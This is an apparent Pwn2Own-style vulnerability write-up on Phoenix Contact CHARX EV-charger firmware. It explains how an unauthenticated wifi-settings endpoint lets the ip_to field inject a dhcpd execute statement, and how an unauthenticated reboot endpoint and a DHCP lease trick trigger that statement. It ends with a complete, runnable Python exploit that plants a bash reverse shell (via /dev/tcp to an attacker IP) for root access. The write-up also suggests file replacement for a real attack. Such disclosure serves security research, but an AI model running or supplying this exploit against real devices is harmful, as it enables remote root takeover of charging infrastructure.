Phoenix Contact RCE

Brief

A vulnerability was introduced in the 1.70 release of Phoenix Contact CHARX firmware.

The vulnerability allows for command injection due to missing authentication, leading to code execution as root.

Details

An unauthenticated user can POST data to this endpoint and override the wifi configuration for the device.

if xaccess_point_service is ran with the argument start, the code checks if the action in the configuration file is access_point

# Start the access point service
def start():
    log(f"starting {SCRIPT_NAME}...")
    data = get_access_point_data()
    log(f"{data}")
    timeout = data.get('available_time', 0)
    operation_mode = data.get("operation_mode")

    if operation_mode == "access_point":
        update_config_files(data)
        update_default_dhcp(add=True)
        set_iface_mode_ap()
        restart_dhcpd()
        start_hostapd()
        set_timeout(timeout)

If so, it calls update_config_files

def update_config_files(config):
    network_ip, netmask = split_network(config["network_cidr"])
    broadcast = get_network_broadcast(config["network_cidr"])

    set_interfaces(config['ip_address'], netmask, broadcast)

    set_dhcp_config(network_ip, netmask, config["ip_from"], config["ip_to"], config["ip_address"])

    set_hostapd_config(config["ssid"], config["band"], config['encryption'][-1], config["password"])

    ip_address_cidr = f"{config['ip_address']}/{config['network_cidr'].split('/')[1]}"
    restart_network(ip_address_cidr)

which calls set_dhcp_config:

# Set the DHCP configuration for the access point
def set_dhcp_config(network, netmask, ip_from, ip_to, access_point_ip):
    log(f"updating {DHCPD_CONF_PATH}")
    new_config = DHCPD_CONF.format(**{
        "network": network,
        "netmask": netmask,
        "ip_from": ip_from,
        "ip_to": ip_to,
        "access_point_ip": access_point_ip,
    })
    clear_config(DHCPD_CONF_PATH)
    clear_config(DHCPD_CONF_PATH_2)
    append_to_file(DHCPD_CONF_PATH, content=new_config)
    append_to_file(DHCPD_CONF_PATH_2, content=new_config)

This function does two things. First, it clears the existing config from the file (using comment lines as start/stop markers).

Second, it then writes the new config to the file to /etc/dhcp/dhcpd.conf

dhcpd has an execute statement which allows you to execute external commands. Given that no validation is provided on the ip_to field, we can inject a command into this field and get it to execute when dhcpd parses the configuration file.

Execution

Unfortunately it's hard to induce this behaviour, so we instead rely on another unauthenticated endpoint api/v1.0/reboot in api_reboot.so to reboot the device, which triggers the parsing and execution of the command.

This script only runs when the device is in client mode, and for the contest we need to exploit a server mode device. To resolve this, we use device DHCP bind scripts to trigger a switch.

By advertising an IP address on the 192.168.4.0/24 range, we can get the device to reboot to client mode.

In /etc/udhcpc.d/60systemreconfigure:

#!/bin/bash
# /etc/udhcpc.d/60checkToSwitchToEv2000

HOSTNAME_EV3000="ev3000"
SWITCH_SCRIPT="/usr/lib/charx-system-switch/switch-to-ev2000.sh"

RECONF_IP1_VALUE=192
RECONF_IP2_VALUE=168
RECONF_IP3_VALUE=4
RECONF_IP4_LOWER_LIMIT=2
RECONF_IP4_UPPER_LIMIT=128

INTERVENTION_WAIT_TIME_SEC=180  # Allow for a "stop" in order to prevent boot loops

reason=$1

hostname="$(cat /etc/hostname)" # SystemConfigManager might not be running in this Situation

if [ "$reason" == "bound" ] && [ "$hostname" == "$HOSTNAME_EV3000"  ];then
    # DHCP has new address
    ip_address="$(ifconfig eth0 | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}')"
    IFS=. read ip1 ip2 ip3 ip4 <<< "$ip_address"
    if [[ $ip1 -ge 0 ]] && [[ $ip1 -le 255 ]] && [[ $ip2 -ge 0 ]] && [[ $ip2 -le 255 ]] && [[ $ip3 -ge 0 ]] && [[ $ip3 -le 255 ]] && [[ $ip4 -ge 0 ]] && [[ $ip4 -le 255 ]]; then
        /usr/bin/logger "recievied valid IPv4-Address via dhcp [$ip1.$ip2.$ip3.$ip4]"
        
        if [[ $ip1 -eq $RECONF_IP1_VALUE ]] && [[ $ip2 -eq $RECONF_IP2_VALUE ]] && [[ $ip3 -eq $RECONF_IP3_VALUE ]] && [[ $ip4 -ge $RECONF_IP4_LOWER_LIMIT ]] && [[ $ip4 -le $RECONF_IP4_UPPER_LIMIT ]]; then
            /usr/bin/logger "System is set to ev3000 [hostname: $hostname] and has an ip-address of eth1 dhcp subnet [$ip1.$ip2.$ip3.$ip4]"
            /usr/bin/logger "System will try to be set to ev2000"
            
            /bin/sleep $INTERVENTION_WAIT_TIME_SEC && $SWITCH_SCRIPT &
        fi
    fi
    
fi

Finally then, to exploit a server mode device, we:

  1. Advertise a 192.168.4.0/24 IP as a DHCP server, causing a reboot
  2. POST to the endpoint to inject a command
  3. POST to the restart to trigger a reboot.

In testing, this takes around 9 minutes, but it might be possible to get the device to check for a new lease faster. Our expectation is that on first boot we can advertise, leading to a client mode switch early on.

Repair

A usable exploit can be built with these primitives.

For the sake of Pwn2Own we just make a reverse shell. As the device has no binary signing or authentication, a real attack would involve the replacement or creation of a file before calling /usr/lib/charx-system-switch/switch-to-ev3000.sh to revert back to server mode.

Exploit

import argparse
import json
import requests
from urllib.parse import urljoin


class CharxTarget:
    __slots__ = ["__target_url", "__is_client", "__target_endpoint"]

    def __init__(self, url: str):
        self.__target_url: str = url
        self.__target_endpoint: str = urljoin(url, "api/v1.0/Wifi/settings")

    def exploit(self, callback_ip: str, callback_port: int):
        # command: str = "/bin/bash -i >& /dev/tcp/192.168.2.36/1337 0>&1"
        # command: str = ",".join([f'"{part}"' for part in shlex.split(command)])
        # print(f"split command: {command}")

        data = {
            "operation_mode": "access_point",
            "available_time": 1200,
            "band": "g",
            "encryption": "WPA2",
            "ip_address": "192.168.1.1",
            "ip_from": "192.168.1.100",
            "ip_to": '192.168.1.254;}\nexecute("/bin/bash", "-c", "bash -i >& /dev/tcp/' + callback_ip + '/' + str(callback_port) + ' 0>&1");\nsubnet 192.168.13.0 netmask 255.255.255.0 {set pew = 1',
            "ssid": "CHARX_AP",
            "network_cidr": "192.168.1.0/24",
            "password": "CHARX_Passwordl",
            "connect_network": "",
            "country_code": "DE",
            "enable_access_point": True,
            "enable_wifi": False,
        }

        r = requests.post(self.__target_endpoint, data={"value": json.dumps(data)})
        print(f"Response to injection: {r.status_code}")

        r = requests.post(urljoin(self.__target_url, "api/v1.0/reboot"))
        print(f"Response to reboot: {r.status_code}")

        r = requests.get(self.__target_endpoint)
        print(r.text)


if __name__ == "__main__":
    args = argparse.ArgumentParser(description="charx RCE")
    args.add_argument("--url", type=str, required=True, help="Web UI base URL (e.g http://192.168.2.38:5001/")
    args.add_argument("--ip", type=str, required=True, help="The IP to connect to")
    args.add_argument("--port", type=str, required=True, help="The port to connect to")

    args = args.parse_args()
    CharxTarget(args.url).exploit(args.ip, args.port)